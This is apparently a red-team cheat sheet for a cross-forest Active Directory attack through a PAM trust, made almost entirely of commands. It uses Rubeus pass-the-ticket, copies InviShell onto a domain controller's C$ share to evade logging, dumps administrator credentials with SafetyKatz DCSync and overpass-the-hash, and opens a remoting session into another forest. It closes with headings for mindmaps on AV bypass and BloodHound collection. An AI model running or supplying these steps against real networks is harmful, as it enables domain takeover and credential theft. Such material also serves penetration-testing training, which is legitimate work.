So we need to grab a DA access:

C:\AD\Tools\Rubeus.exe asktgt /domain:<domain> /user:administrator /aes256:<hash> /dc:<dc> /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
echo F | xcopy C:\AD\Tools\InviShell\InShellProf.dll \\dc.domain.local\C$\Users\Public\InShellProf.dll /Y
echo F | xcopy C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\dc.domain.local\C$\Users\Public\RunWithRegistryNonAdmin.bat /Y
winrs -r:dc.domain.local cmd
C:\Users\Public\RunWithRegistryNonAdmin.bat

Check if PAM trust is enabled:

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

Search for:

  • ForestTransitive : True
  • SIDFilteringForestAware : False
  • the DistinguishedName

Use the privileges of DA to extract credentials of DA of the target Forest:

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:domain\Administrator /domain:domain.local" "exit"
C:\AD\Tools\Rubeus.exe asktgt /domain:domain.local /user:administrator /aes256:<hash> /dc:<dc> /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
echo F | xcopy C:\AD\Tools\InviShell\InShellProf.dll \\dc.domain.local\C$\Users\Public\InShellProf.dll /Y
echo F | xcopy C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\dc.domain.local\C$\Users\Public\RunWithRegistryNonAdmin.bat /Y
winrs -r:dc.domain.local cmd
C:\Users\Public\RunWithRegistryNonAdmin.bat

Enumerate other Forests:

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} -Server production.local

Search for:

  • ForestTransitive : True
  • SIDFilteringForestAware : True

Check the membership of Shadow Security Principals:

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name, member, msDS-ShadowPrincipalSid | fl

Obtain the IP of Forest:

Get-DnsServerZone -ZoneName production.local |fl *

Modify WSMan Trustedhosts property:

Note: Run from an elevated shell
Set-Item WSMan:\localhost\Client\TrustedHosts * -Force

Use PowerShell Remoting:

C:\AD\Tools\SafetyKatz.exe "sekurlsa::opassth /user:administrator /domain:domain.local /ntlm:<hash> /run:powershell.exe" "exit"
Enter-PSSession 192.168.102.1 -Authentication NegotiateWithImplicitCredential
Mindmaps

 

AD Mindmap:

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AD Recommendations:

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DACL:

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Bypass AV:

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Bloodhound Collector:

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